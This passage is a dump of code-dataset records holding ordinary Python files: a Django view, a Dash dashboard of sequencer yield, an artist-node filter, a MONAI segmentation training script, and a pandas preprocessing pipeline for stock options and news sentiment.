idEvent=data[\"events\"][key][\"id\"])\n eventScript.save()\n key = key + 1\n key = 0\n while key < len(data[\"logicals\"]): #создаем множество логических перекрестков\n classLogical = LogicalClass.objects.get(name=data[\"logicals\"][key][\"class\"])\n logical = Logical(classLogical=classLogical,\n script=script,\n idLogical=data[\"logicals\"][key][\"id\"],\n x=data[\"logicals\"][key][\"position\"][\"x\"],\n y=data[\"logicals\"][key][\"position\"][\"y\"])\n logical.save()\n key = key + 1\n key = 0\n while key < len(data[\"connect\"]): #создаем множество связей\n connect = ConnectShape(script=script, idFrom=data[\"connect\"][key][\"from\"], idTo=data[\"connect\"][key][\"to\"])\n connect.save();\n key = key + 1;\n return HttpResponse()\n","sub_path":"problem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"385473433","text":"import dash\nfrom dash.dependencies import Input, Output\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table\nimport pandas\nimport plotly.graph_objs as go\n\n\ndef load_df_as_json():\n idx = pandas.IndexSlice\n\n rs_raw = pandas.read_hdf('./data/runscanner_illumina_cache.hd5')\n inst_raw = pandas.read_hdf('./data/pinery_instruments_cache.hd5')\n\n rs_flow = rs_raw.loc[idx[:, 'flow_cell', :, :], 'value'].unstack('key')\n rs_flow = rs_flow[['sequencerName', 'startDate', 'healthType']]\n rs_flow = rs_flow.reset_index()\n\n inst_model = inst_raw[['name_instrument', 'name_model']]\n\n rs_flow = rs_flow.merge(\n inst_model, 'left', left_on='sequencerName', right_on='name_instrument'\n )\n\n rs_lane = rs_raw.loc[\n idx[:, ['Read', 'Index'], :, :], 'value'\n ].unstack('key')\n rs_lane_yield = rs_lane.groupby('run_alias')[['Yield']].sum()\n rs_lane_yield = rs_lane_yield.rename(columns={'Yield': 'Total Yield (GB)'})\n\n final = rs_flow.merge(rs_lane_yield, on='run_alias', right_index=True)\n final = final[final['healthType'] == 'COMPLETED']\n final = final.astype({'startDate': 'datetime64[ns]'})\n\n return final\n\n\nraw_df = load_df_as_json()\nraw_df_table_col_names = [\n {'name': i, 'id': i} for i in raw_df.columns\n]\n\nlayout = html.Div([\n dcc.Dropdown(\n id='freq_dropdown',\n options=[\n {'label': 'Daily', 'value': 'D'},\n {'label': 'Weekly', 'value': 'W'},\n {'label': 'Monthly', 'value': 'M'},\n {'label': 'Quarterly', 'value': 'BQ-MAR'},\n {'label': 'Yearly', 'value': 'Y'},\n ],\n value='M',\n clearable=False,\n ),\n\n dcc.Dropdown(\n id='colour_by_dropdown',\n options=[\n {'label': 'Machine ID', 'value': 'sequencerName'},\n {'label': 'Machine Model', 'value': 'name_model'},\n ],\n value=None,\n placeholder='Colour By'\n ),\n\n dcc.Graph(\n id='bar_sum',\n ),\n\n dcc.Tabs(id=\"table_tabs\", value='grouped', children=[\n dcc.Tab(label='Grouped Data', value='grouped'),\n dcc.Tab(label='All Data', value='all'),\n ]),\n\n html.Div(\n id='table_tabs_content'\n ),\n\n html.Div(\n id='raw_df_json',\n style={'display': 'none'},\n children=raw_df.to_json(\n date_format='iso', orient='records'\n ),\n ),\n\n html.Div(\n id='df_group_sum',\n style={'display': 'none'},\n ),\n])\n\ntry:\n from app import app\n app.layout = layout\nexcept ModuleNotFoundError:\n import dash\n app = dash.Dash(__name__)\n app.layout = layout\n\n\n@app.callback(\n Output('bar_sum', 'figure'),\n [Input('df_group_sum', 'children'),\n Input('colour_by_dropdown', 'value')]\n)\ndef create_bar_sum_fig(df_group_sum, colour_by):\n df = pandas.read_json(df_group_sum, orient='split')\n\n layout = {\n 'yaxis': {'title': 'PF Yield (GB)'},\n 'legend': {'orientation': 'h'},\n }\n\n if colour_by is None:\n return {\n 'data': [go.Bar(\n x=df['startDate'],\n y=df['Total Yield (GB)']\n )],\n 'layout': layout,\n }\n else:\n traces = []\n for name, data in df.groupby(colour_by):\n t = go.Bar(\n x=list(data['startDate']),\n y=list(data['Total Yield (GB)']),\n name=name\n )\n traces.append(t)\n\n return {\n 'data': traces,\n 'layout': layout\n }\n\n\n@app.callback(\n Output('table_tabs_content', 'children'),\n [Input('table_tabs', 'value'),\n Input('raw_df_json', 'children'),\n Input('df_group_sum', 'children')]\n)\ndef update_table_tab(selected_tab, raw_df_json, group_df_json):\n if selected_tab == 'grouped':\n df = pandas.read_json(group_df_json, orient='split')\n if selected_tab == 'all':\n df = pandas.read_json(raw_df_json, orient='records')\n\n col_names = [{'name': i, 'id': i} for i in df.columns]\n\n return dash_table.DataTable(\n id='test',\n columns=col_names,\n data=df.to_dict('rows')\n )\n\n\n@app.callback(\n Output('df_group_sum', 'children'),\n [Input('raw_df_json', 'children'),\n Input('freq_dropdown', 'value'),\n Input('colour_by_dropdown', 'value')]\n)\ndef update_grouped_df(raw_df_json, frequency, colour_grouper):\n raw = pandas.read_json(\n raw_df_json, orient='records', convert_dates=['startDate']\n )\n\n if colour_grouper is None:\n grouper = [\n pandas.Grouper(key='startDate', freq=frequency)\n ]\n else:\n grouper = [\n pandas.Grouper(key='startDate', freq=frequency),\n colour_grouper\n ]\n\n return raw.groupby(\n grouper\n ).sum().reset_index().to_json(\n date_format='iso', orient='split',\n )\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","sub_path":"runscanner/yield_over_time.py","file_name":"yield_over_time.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"589917199","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom progress import StatusBar\nimport re\n\ndef find_ids(nodes, *args):\n\tif not args:\n\t\treturn [-1]\n\tbar = StatusBar(len(nodes))\n\tregex = re.compile(r'^.*?\\tartist\\t(%s)\\n' % '|'.join(args), re.IGNORECASE)\n\tids = []\n\tfor index, row in enumerate(nodes):\n\t\tif regex.match(row):\n\t\t\tids.append(index)\n\t\tif index % 10000 == 0: bar.update(index)\n\tbar.close()\n\treturn ids\n\ndef delete(nodes, edges, *deletion_indices):\n\tfrom datetime import datetime\n\tfor index in deletion_indices:\n\t\tnodes[index] = None\n\tbar = StatusBar(len(edges))\n\tdeletion_indices = set(deletion_indices) # set for constant time 'in' check\n\tfor i, row in enumerate(edges):\n\t\tdata = row.split(\"\\t\", 2)\n\t\tleft = int(data[0])\n\t\tright = int(data[1])\n\t\tif left in deletion_indices or right in deletion_indices:\n\t\t\tedges[i] = None\n\t\tif i % 10000 == 0: bar.update(i)\n\tbar.close()","sub_path":"processing/various_artists.py","file_name":"various_artists.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"49882122","text":"#######################################################################\n# Script to train the segmentation model, one model for multi labels #\n#######################################################################\n\nimport logging\nimport os\nimport sys\nfrom glob import glob\nimport pathlib\nimport argparse\nimport shutil\nimport random\nimport numpy as np\nimport copy\n\nfrom PIL import Image\n\nimport monai\nfrom monai.data import PersistentDataset\nfrom monai import transforms as mt\nfrom monai.utils import set_determinism\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms, datasets, models\n\nfrom model.unet import ResNetUNet\nfrom model.TernausNet import UNet11, LinkNet34, UNet, UNet16, AlbuNet\nfrom model.UNet_3Plus import UNet_3Plus\nfrom model.network import R2U_Net, AttU_Net, R2AttU_Net\n\nfrom collections import defaultdict\nfrom loss import dice_loss\n\nimport matplotlib.pyplot as plt\n\nimport wandb\nwandb.init(project='Medical-CT', entity='zhoushanglin100')\n\n\n######################################################\n\nmoddel_list = {'UNet11': UNet11,\n 'UNet16': UNet16,\n 'UNet': UNet,\n 'AlbuNet': AlbuNet,\n 'LinkNet34': LinkNet34}\n\npjoin = os.path.join\n\ndef reverse_transform(inp):\n inp = inp.numpy().transpose((1, 2, 0))\n inp = np.clip(inp, 0, 1)\n inp = (inp * 255).astype(np.uint8)\n return inp\n\ndef calc_loss(pred, target, metrics, bce_weight=0.5):\n bce = F.binary_cross_entropy_with_logits(pred, target)\n pred = F.sigmoid(pred)\n iou, dice = dice_loss(pred, target)\n loss = bce * bce_weight + dice * (1 - bce_weight)\n\n metrics['iou'] += iou * target.size(0)\n metrics['bce'] += bce * target.size(0)\n metrics['dice'] += dice * target.size(0)\n metrics['loss'] += loss * target.size(0)\n\n return loss, iou\n\n\ndef print_metrics(metrics, epoch_samples, phase):\n outputs = []\n for k in metrics.keys():\n outputs.append(\"{}: {:4f}\".format(k, metrics[k] / epoch_samples))\n if k == \"iou\":\n wandb.log({\"IOU/\"+phase+\"_\"+k: metrics[k]/epoch_samples})\n else:\n wandb.log({\"Loss/\"+phase+\"_\"+k: metrics[k]/epoch_samples})\n\n print(\"{}: {}\".format(phase, \", \".join(outputs)))\n\n\ndef get_transforms(args):\n train_trans = mt.Compose(\n [\n mt.LoadImageD(keys=['img', 'seg']),\n mt.ScaleIntensityD(keys=['img']),\n mt.AddChannelD(keys=['seg']),\n mt.RandGaussianNoiseD(keys=['img']),\n # mt.RandSpatialCropSamplesD(keys=['img', 'seg'], num_samples=5),\n # mt.CropForegroundD(keys=[\"img\", \"seg\"], source_key=\"img\"),\n # mt.RandGaussianSharpenD(keys=['img']),\n mt.RandShiftIntensityD(keys=['img'], offsets = 5),\n # mt.RandAdjustContrastD(keys=['img']),\n mt.ResizeD(keys=['img', 'seg'], spatial_size=(args.dims, args.dims)),\n # mt.ResizeD(keys=['seg'], spatial_size=(args.dims, args.dims)),\n\n # mt.RandCropByPosNegLabeld(keys=[\"img\", \"seg\"], label_key=\"seg\", \n # spatial_size=[224, 224], pos=1, neg=1, num_samples=4),\n # mt.RandRotate90d(keys=[\"img\", \"seg\"], prob=0.3, spatial_axes=[0, 1]),\n # mt.RandHistogramShiftd(keys=[\"img\", \"seg\"]),\n mt.ToTensorD(keys=['img', 'seg']),\n mt.AsDiscreteD(keys=['seg'], threshold_values=True),\n ]\n )\n val_trans = mt.Compose(\n [\n mt.LoadImageD(keys=['img', 'seg']),\n mt.ScaleIntensityD(keys=['img']),\n mt.AddChannelD(keys=['seg']),\n\n mt.ResizeD(keys=['img', 'seg'], spatial_size=(args.dims, args.dims)),\n # mt.ResizeD(keys=['seg'], spatial_size=(1, args.dims, args.dims)),\n\n # mt.CropForegroundd(keys=[\"img\", \"seg\"], source_key=\"img\"),\n mt.ToTensorD(keys=['img', 'seg']),\n mt.AsDiscreteD(keys=['seg'], threshold_values=True),\n ]\n )\n \n return train_trans, val_trans\n\n\n\n######################################################\n\ndef train(args, model, device, train_loader, optimizer, epoch):#, scheduler):\n model.train()\n\n metrics = defaultdict(float)\n epoch_samples = 0\n\n # for batch_data in train_loader:\n for batch_idx, batch_data in enumerate(train_loader):\n inputs, labels = batch_data['img'].to(device), batch_data['seg'].to(device)\n \n # print(\"!!!!!!!!!!!!!!!\")\n # print(inputs.shape, labels.shape)\n # print(\"!!!!!!!!!!!!!!!\")\n\n optimizer.zero_grad()\n\n outputs = model(inputs)\n loss, iou = calc_loss(outputs, labels, metrics)\n loss.backward()\n optimizer.step()\n\n epoch_samples += inputs.size(0)\n \n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}, iou: {:.6f}'.format(\n epoch+1, batch_idx * len(inputs), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss, iou))\n\n print_metrics(metrics, epoch_samples, 'train')\n epoch_loss = metrics['loss'] / epoch_samples\n epoch_iou = metrics['iou'] / epoch_samples\n \n # scheduler.step()\n wandb.log({\"learning_rate\": optimizer.param_groups[0]['lr']})\n\n\n\n\ndef validation(args, model, device, val_loader):\n metrics = defaultdict(float)\n epoch_samples = 0\n\n model.eval()\n \n with torch.no_grad():\n metric_count = 0\n metric_sum = 0.0\n # for val_data in val_loader:\n for batch_idx, val_data in enumerate(val_loader):\n val_images, val_labels = val_data['img'].to(device), val_data['seg'].to(device)\n \n val_outputs = model(val_images)\n\n loss, iou = calc_loss(val_outputs, val_labels, metrics)\n epoch_samples += val_images.size(0)\n\n # # -------------\n # ## Plot\n # if batch_idx % args.plot_interval == 0:\n # val_outputs[0] = F.sigmoid(val_outputs[0])\n\n # wandb.log({\"masks/Image\": [wandb.Image(val_images[0], caption=\"Images\")]})\n # wandb.log({\"masks/true\": [wandb.Image(val_labels[0].squeeze_().cpu(), caption=\"Mask/True\")]})\n # wandb.log({\"masks/pred\": [wandb.Image(val_outputs[0].squeeze_().cpu(), caption=\"Mask/Pred\")]})\n # # wandb.log({\"masks/true\": [wandb.Image(reverse_transform(val_labels.squeeze_().cpu()), caption=\"Mask/True\")]})\n # # wandb.log({\"masks/pred\": [wandb.Image(reverse_transform(val_outputs.squeeze_().cpu()), caption=\"Mask/Pred\")]})\n # # ---------------------------------\n\n print_metrics(metrics, epoch_samples, 'val')\n epoch_loss = metrics['loss'] / epoch_samples\n epoch_iou = metrics['iou'] / epoch_samples\n\n return epoch_loss, epoch_iou, model.state_dict()\n\n##########################################################################################################\ndef main(args):\n\n ###################################\n # Path\n ###################################\n\n config = wandb.config\n \n logging.basicConfig(stream=sys.stdout, level=logging.INFO)\n data_folder = './data/3d'\n image_folder = 'img_'+args.data_view\n mask_folder = 'mask_'+args.data_view\n tmp_path = './tmp'\n\n shutil.rmtree(tmp_path, ignore_errors=True)\n persistent_cache = pathlib.Path(tmp_path, \"persistent_cache\")\n persistent_cache.mkdir(parents=True, exist_ok=True)\n set_determinism(seed=0)\n\n ###################################\n # Dataset\n ###################################\n\n # images = sorted(glob(pjoin(data_folder, 'train_polar', 'images_polar_2', '*.npz')))\n # segs = sorted(glob(pjoin(data_folder, 'train_polar', 'masks_polar_2', '*.npz')))\n\n images = sorted(glob(pjoin(data_folder, image_folder, '*.npz')))\n segs = sorted(glob(pjoin(data_folder, mask_folder, '*.npz')))\n\n # aa = sorted(glob(pjoin('../Medical/data', 'train', 'images', '*.npz')))\n\n data_dicts = [\n {\"img\": image_name, \"seg\": label_name}\n for image_name, label_name in zip(images, segs)\n ]\n\n random.shuffle(data_dicts)\n\n val_idx = int(0.2*len(images))\n\n train_files, val_files = data_dicts[:-val_idx], data_dicts[-val_idx:]\n train_trans, val_trans = get_transforms(args)\n\n train_ds = PersistentDataset(data=train_files, transform=train_trans, cache_dir=persistent_cache)\n val_ds = PersistentDataset(data=val_files, transform=val_trans, cache_dir=persistent_cache)\n\n train_loader = DataLoader(train_ds, batch_size=args.batch_size, shuffle=True, num_workers=16, pin_memory=torch.cuda.is_available())\n val_loader = DataLoader(val_ds, batch_size=args.test_batch_size, num_workers=16)#, pin_memory=torch.cuda.is_available())\n\n ###################################\n # Model\n ###################################\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n # model = ResNetUNet(n_class=4).to(device)\n\n if args.model == 'ResNetUNet':\n model = ResNetUNet(n_class=args.num_classes)\n\n elif args.model == 'UNet3+':\n model = UNet_3Plus(n_classes=args.num_classes)\n elif args.model =='R2U_Net':\n model = R2U_Net(img_ch=3, output_ch=args.num_classes, t=3)\n elif args.model =='AttU_Net':\n model = AttU_Net(img_ch=3, output_ch=args.num_classes)\n elif args.model == 'R2AttU_Net':\n model = R2AttU_Net(img_ch=3, output_ch=args.num_classes, t=3)\n elif args.model == 'UNet':\n model = UNet(num_classes=args.num_classes)\n else:\n model_name = moddel_list[args.model]\n model = model_name(num_classes=args.num_classes, pretrained=False)\n\n model = model.to(device) \n\n # # ----------------------------\n # from torchsummary import summary\n # from prettytable import PrettyTable\n\n # summary(model, input_size=(3, 480, 640))\n\n # def count_parameters(model):\n # table = PrettyTable([\"Modules\", \"Parameters\"])\n # total_params = 0\n # for name, parameter in model.named_parameters():\n # param = parameter.numel()\n # table.add_row([name, param])\n # total_params+=param\n # print(table)\n # print(f\"Total Trainable Params: {total_params}\")\n # return total_params\n \n # count_parameters(model)\n # # --------------------------------\n\n optimizer = torch.optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), lr=args.lr)\n # optimizer = torch.optim.SGD(filter(lambda p: p.requires_grad, model.parameters()), lr=args.lr, momentum=0.5)\n # scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=30, gamma=0.1)\n\n best_model_wts = copy.deepcopy(model.state_dict())\n\n # best_loss = 1e10\n best_iou = 0\n\n for epoch in range(args.epochs):\n print('Epoch {}/{}'.format(epoch+1, args.epochs))\n print('-' * 50)\n\n train(args, model, device, train_loader, optimizer, epoch)#, scheduler)\n\n if (epoch + 1) % args.val_inter == 0:\n\n epoch_loss, epoch_iou, best_state = validation(args, model, device, val_loader)\n\n if epoch_iou > best_iou:\n print(\"Get a new best test iou:{:.2f}\\n\".format(epoch_iou))\n best_iou = epoch_iou\n best_metric_epoch = epoch + 1\n best_model_wts = copy.deepcopy(model.state_dict())\n\n model_name = \"ckpt/\"+args.data_view+\"_\"+args.model+\"_\"+str(epoch)+\".pt\"\n torch.save(best_model_wts, model_name)\n\n print(\"current epoch: {}; current test iou: {:.4f}; best test iou: {:.4f} at epoch {}\\n\".format(\n epoch+1, epoch_iou, best_iou, best_metric_epoch))\n \n \n# ---------------------------------------------------------\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--dims\", default=256, type=list, \n help=\"Original shape: [(512, 512) -> (512, 512), (221, 512) -> (224, 512)]\")\n parser.add_argument(\"--model\", default='ResNetUNet', type=str,\n help='Choose from [ResNetUNet, UNet, UNet11, UNet16, AlbuNet, LinkNet34]')\n parser.add_argument(\"--num_classes\", default=1, type=int)\n parser.add_argument('--data_view', type=str, default=\"updown\", metavar='N',\n help=\"Choose from ['updown', 'leftright', 'frontback']\")\n parser.add_argument(\"--val_inter\", default=1, type=int)\n parser.add_argument(\"--batch_size\", default=64, type=int)\n parser.add_argument(\"--test_batch_size\", default=64, type=int)\n parser.add_argument(\"--epochs\", default=150, type=int)\n parser.add_argument(\"--lr\", default=1e-3, type=float)\n parser.add_argument('--log_interval', type=int, default=10, metavar='N',\n help='how many batches to wait before logging training status')\n parser.add_argument('--plot_interval', type=int, default=10000, metavar='N',\n help='how many batches to wait before logging training status')\n\n args = parser.parse_args()\n print(args)\n \n ###################################\n\n args, unknown = parser.parse_known_args()\n wandb.init(config=args)\n wandb.config.update(args)\n \n main(args)\n","sub_path":"train_try.py","file_name":"train_try.py","file_ext":"py","file_size_in_byte":13285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"116113713","text":"import pandas as pd \nimport numpy as np\nimport argparse\nimport os\nimport time\nimport yfinance as yf \n\n\n'''\nThis file deal with the preprocess of option data\n\n1. read dataset from csv files\n2. select option with suitable features \n3. generating features for future usage\n moneyness S/K, maturity T\n'''\n\n\ndef preprocess_all_stock_price(args):\n # stock price data\n if not args.refresh and os.path.exists(args.data_path+args.stock_price_file_path[:-4]+'.h5'):\n print(args.stock_price_file_path[:-4]+'.h5' + ' already exists')\n return \n print('Reading Stock Price Data')\n start_time = time.time()\n df = pd.read_csv(args.data_path+args.stock_price_file_path, low_memory=False)\n df['Price'] = (df['BID'] + df['ASK'])/2\n df['Spread'] = df['ASK'] - df['BID']\n df = df[['date', 'TICKER', 'Price', 'Spread', 'ASK', 'BID']] \n #df['date'] = pd.to_datetime(df['date'])\n print('Save Stock Price Data into H5 file')\n df.to_hdf(args.data_path+args.stock_price_file_path[:-4]+'.h5', key=args.stock_price_file_path[:-4])\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n\ndef option_selection2(option, para):\n #option = option[option['open_interest']>para[volume_threshold] ] # consider option with some traded volume\n option = option[option['cp_flag']==para['cp_flag']]\n \n # liquidity indicator\n # reference : https://www.investopedia.com/ask/answers/050615/what-difference-between-open-interest-and-volume.asp#:~:text=Volume%20and%20open%20interest%20are,are%20active%2C%20or%20not%20settled.\n option = option[option['volume'] >= para['volume_threshold']]\n option = option[option['open_interest'] >= para['open_interest_threshold']]\n # Open interest is lagged by one-day after November 28th, 2000\n\n return option\n\n\ndef option_feature(option, ticker, TYPE='C'):\n \n price = pd.read_hdf(args.data_path+args.stock_price_file_path[:-4]+'.h5')\n price = price[price['TICKER'] == ticker].set_index('date')\n\n # compute moneyness\n # forward_price may be missing\n option = option.dropna(subset=['date', 'exdate', 'delta', 'vega', \\\n 'strike_price', 'best_bid', 'best_offer']).copy()\n # for robustness\n option = option[option['date'].apply(lambda x: True if x in price.index else False)]\n\n option['stock_price'] = option['date'].apply(lambda x: price.loc[x,'Price'])\n option['moneyness'] = option['stock_price'] / (option['strike_price'] /1000)\n option['log_forward_moneyness'] = option['forward_price'] / (option['strike_price'] /1000)\n option['log_forward_moneyness'] = option['log_forward_moneyness'].apply(np.log)\n\n option['price'] = (option['best_bid'] + option['best_offer'])/2 \n\n option['date'] = pd.to_datetime(option['date'],format = '%Y%m%d')\n option['exdate'] = pd.to_datetime(option['exdate'],format = '%Y%m%d')\n\n option['maturity'] = option['exdate'] - option['date']\n option['maturity'] = option['maturity'].apply(lambda x:x.days)\n option['maturity'] = option.apply(lambda x: x['maturity'] if x['am_settlement']==0 else x['maturity']-1, axis=1)\n option['normalized_T'] = option['maturity'] / 365\n\n option = option.drop(['best_bid', 'best_offer','exdate', 'last_date'], axis=1) #'forward_price'\n \n # options with less than 14 days are removed\n #option = option[option['maturity']<=365]\n option = option[option['maturity']>=14]\n\n # options whose delta less than 0.05 or greater than 0.95 are removed \n if TYPE == 'C':\n option = option[option['delta']>0.05 ] \n option = option[option['delta']<=0.95 ] \n elif TYPE == 'P':\n option = option[option['delta']<-0.05 ] \n option = option[option['delta']>-0.95 ] \n else:\n print('Wrong type')\n\n # sorted to produce observations for the same option on two successive trading days\n option = option.sort_values(by=['optionid','date'])\n return option \n\n\ndef drop_stock_split(df, args):\n t = yf.Ticker(args.ticker)\n t = t.splits \n splits = t[t>0] \n # index is the date of stock plits\n # format : Timestamp\n if len(splits)>0:\n df = df[df['date'].apply(lambda x: x not in list(splits.index))]\n return df \n\n'''\ndef get_stock_price(args): \n df = pd.read_hdf(args.data_path+args.stock_price_file_path[:-4]+'.h5')\n df = df[df['TICKER']==args.ticker]\n\n df['Close'] = df['Price']\n df['dS'] = df['Price'].shift(-1) - df['Price'] \n df['date'] = pd.to_datetime(df['date'].apply(str))\n df['stock_day_diff'] = df['date'].shift(-1) - df['date'] \n df['stock_day_diff'] = df['stock_day_diff'].apply(lambda x: x.days)\n return df.set_index('date').dropna()\n'''\n\ndef get_stock_price(args, SPX=False):\n if SPX:\n df = pd.read_hdf(args.data_path+'SPX_Price.h5')\n df['date'] = pd.to_datetime(df['date'].apply(str))\n return df.set_index('date').dropna()\n \n df = pd.read_hdf(args.data_path+args.stock_price_file_path[:-4]+'.h5')\n df = df[df['TICKER']==args.ticker]\n\n df['Close'] = df['Price']\n df['dS'] = df['Price'].shift(-1) - df['Price'] \n df['date'] = pd.to_datetime(df['date'].apply(str))\n df['stock_day_diff'] = df['date'].shift(-1) - df['date'] \n df['stock_day_diff'] = df['stock_day_diff'].apply(lambda x: x.days)\n return df.set_index('date').dropna()\n\n\ndef cal_dVdS(df, args, start_year=2010):\n ticker = args.ticker\n\n df['month'] = df['date'].apply(lambda x: (x.year-start_year)*12+x.month)\n stockprice = get_stock_price(args) \n df['stock_price'] = df['date'].apply(lambda x: stockprice.loc[x,'Close'])\n\n df['dS'] = df['date'].apply(lambda x: stockprice.loc[x,'dS'])\n df['stock_day_diff'] = df['date'].apply(lambda x: stockprice.loc[x,'stock_day_diff'])\n\n df = df.sort_values(['optionid', 'date'])\n \n df['dV'] = df.groupby('optionid').apply(lambda x:x['price'].shift(-1) - x['price'])\\\n .reset_index().set_index('level_1')['price']\n df['dimp'] = df.groupby('optionid').apply(lambda x:x['impl_volatility'].shift(-1) - x['impl_volatility'])\\\n .reset_index().set_index('level_1')['impl_volatility']\n df['option_day_diff'] = df.groupby('optionid').apply(lambda x:x['date'].shift(-1) - x['date'])\\\n .reset_index().set_index('level_1')['date']\n df['option_day_diff'] = df['option_day_diff'].apply(lambda x: x.days)\n df = df[df['option_day_diff'] == df['stock_day_diff'] ]\n df = df.drop(['option_day_diff', 'stock_day_diff'], axis=1)\n\n # dV, dS is normalized so that the underlying price is 1000\n df['dV'] = df['dV'] / df['stock_price'] * 1000\n df['dS'] = df['dS'] / df['stock_price'] * 1000\n return df \n\n\ndef preprocess_option(args):\n TYPE = args.cp_flag\n ticker = args.ticker + ('' if args.ticker == '' else '_')\n suffix = ('_' if args.suffix != '' else '') + args.suffix\n filename = ticker+'Option_'+ TYPE +'_'+args.exercise_style + suffix\n\n if not args.refresh and os.path.exists(args.data_path+filename+'.h5'):\n print(args.data_path+ticker+filename+'.h5')\n return \n\n start_time = time.time()\n option = read_option_csv(args, saving=False)\n\n print('Selecting Option Data')\n para_dict = {\n 'volume_threshold':args.volume_threshold, \n 'open_interest_threshold': args.open_interest_threshold, \n 'cp_flag':args.cp_flag.upper()\n }\n option = option_selection2(option, para=para_dict)\n\n print('Do feature Engineering on Option Data')\n option = option_feature(option, args.ticker, TYPE)\n\n print('Drop data when stock split happens')\n option = drop_stock_split(option, args)\n\n print('Calculating dV, dS')\n option = cal_dVdS(option, args)\n\n print('Save processed Option Data')\n option.to_hdf(args.data_path+filename+'.h5', key=filename) \n print(\"Option selection and feature engineering--- %s seconds ---\" % (time.time() - start_time))\n\n\ndef preprocess(args):\n preprocess_all_stock_price(args)\n preprocess_option(args)\n\n return \n\n\ndef read_option_csv(args, saving=False):\n ticker = args.ticker + ('' if args.ticker == '' else '_')\n suffix = ('_' if args.suffix != '' else '') + args.suffix\n filename = ticker + 'Option'+ suffix\n\n if not args.refresh and os.path.exists(args.data_path+filename+'.h5'):\n print(args.data_path+filename+'.h5' +' already exists')\n return pd.read_hdf(args.data_path+filename+'.h5')\n\n print('Reading Option Data (CSV)')\n start_time = time.time()\n use_cols = ['optionid', 'ticker','am_settlement', 'date', 'exdate', 'last_date', \\\n 'exercise_style', 'expiry_indicator','ss_flag', 'forward_price',\\\n 'cp_flag', 'strike_price', 'best_bid', 'best_offer', 'volume', 'open_interest',\\\n 'impl_volatility', 'delta', 'gamma', 'vega', 'theta']\n option = pd.read_csv(args.data_path+args.option_file_path, low_memory=False,\\\n usecols=use_cols) \n print('Total number of sample : {}'.format(option.shape[0]))\n print(\"Reading CSV files --- %s seconds ---\" % (time.time() - start_time))\n\n option = option[option['date']>=20100101]\n option = option[option['date']<=20191231]\n\n #option = option[option['am_settlement']==0] # use close price for settlement \n option = option[option['ss_flag']==0] # use standard settlement \n #option = option[option['symbol_flag']==1] # use new OSI data\n option = option[option['exercise_style'] == args.exercise_style] \n \n if args.expiry_indicator == 'regular':\n option = option[option['expiry_indicator'].isna()] \n else:\n option = option[option['expiry_indicator'] == 'w']\n \n option = option.drop(['expiry_indicator','ss_flag'], axis=1)\n\n #'cp_flag', 'symbol_flag','exercise_style', 'forward_price', 'am_settlement'\n #column_to_drop = ['am_set_flag','ss_flag',\n # 'secid','symbol', 'root','suffix','issuer', 'expiry_indicator',\n # 'cusip', 'sic', 'index_flag', 'exchange_d',\n # 'class', 'issue_type', 'industry_group', 'div_convention',\n # 'cfadj', 'contract_size',\t]\n #option = option.drop(column_to_drop, axis=1) \n\n if saving:\n print('Saving Option Data into H5 file')\n option.to_hdf(args.data_path+filename+'.h5', key=filename) \n \n return option \n\n\ndef combine_sentiment(args):\n TYPE = args.cp_flag\n ticker = args.ticker + ('' if args.ticker == '' else '_')\n filename = ticker+'Option_'+ TYPE +'_'+args.exercise_style\n\n if not os.path.exists(args.data_path+filename+'.h5'):\n print(args.data_path+ticker+filename+'.h5 doesn\\'t exist')\n return \n \n start_time = time.time()\n print('Starting reading option and news information')\n print('Option file : '+args.data_path+filename+'.h5')\n option = pd.read_hdf(args.data_path+filename+'.h5')\n\n news_filename = ticker + 'News'\n print('News file : '+args.data_path+news_filename+'.h5')\n news = pd.read_hdf(args.data_path+news_filename+'.h5')\n \n # trade date \n print('Compute the date')\n k = pd.read_hdf(args.data_path+'StockPriceAll.h5')\n first_date = news['RPNA_DATE_UTC'].min()\n last_date = news['RPNA_DATE_UTC'].max()\n k = k[(k['TICKER']==args.ticker) & (k['date'] >= first_date) & (k['date'] <= last_date)]\n print('Number of trading dates : {}'.format(k.shape[0]))\n idx = k['date']\n # to speed up, each date is computed only once and saved in dictionary\n date_map = {}\n for dt in news['RPNA_DATE_UTC'].unique():\n date_map[dt] = idx[idx>=dt].iloc[0] \n print('Number of dates : {}'.format(len(date_map)))\n news['date'] = news['RPNA_DATE_UTC'].map(date_map)\n '''\n r = 0\n for key in date_map:\n if r >= 10:\n break\n print(key, date_map[key])\n r += 1\n '''\n print('Incorporating information of news item into day sentiment')\n sentiment = news.groupby('date')['CSS'].apply(lambda x: (x[x>50].count(), x[x<50].count(), x[x==50].count(), x.count()))\n\n sentiment = pd.DataFrame(sentiment.to_list(), index=sentiment.index, \\\n columns=['pos_count', 'neg_count', 'neu_count', 'count'])\n\n sentiment['max_CSS'] = news.groupby('date')['CSS'].apply(lambda x: (x.max()-50)/50)\n sentiment['min_CSS'] = news.groupby('date')['CSS'].apply(lambda x: (x.max()-50)/50)\n \n sentiment['high_CSS'] = news.groupby('date')['CSS'].apply(lambda x: (x[x>70].mean()-50)/50 if x[x>70].shape[0]>0 else 0)\n sentiment['low_CSS'] = news.groupby('date')['CSS'].apply(lambda x: (x[x<30].mean()-50)/50 if x[x<30].shape[0]>0 else 0)\n \n #sentiment.index = pd.to_datetime(sentiment.index, format='%Y%m%d')\n sentiment['day_CSS'] = (sentiment['pos_count'] - 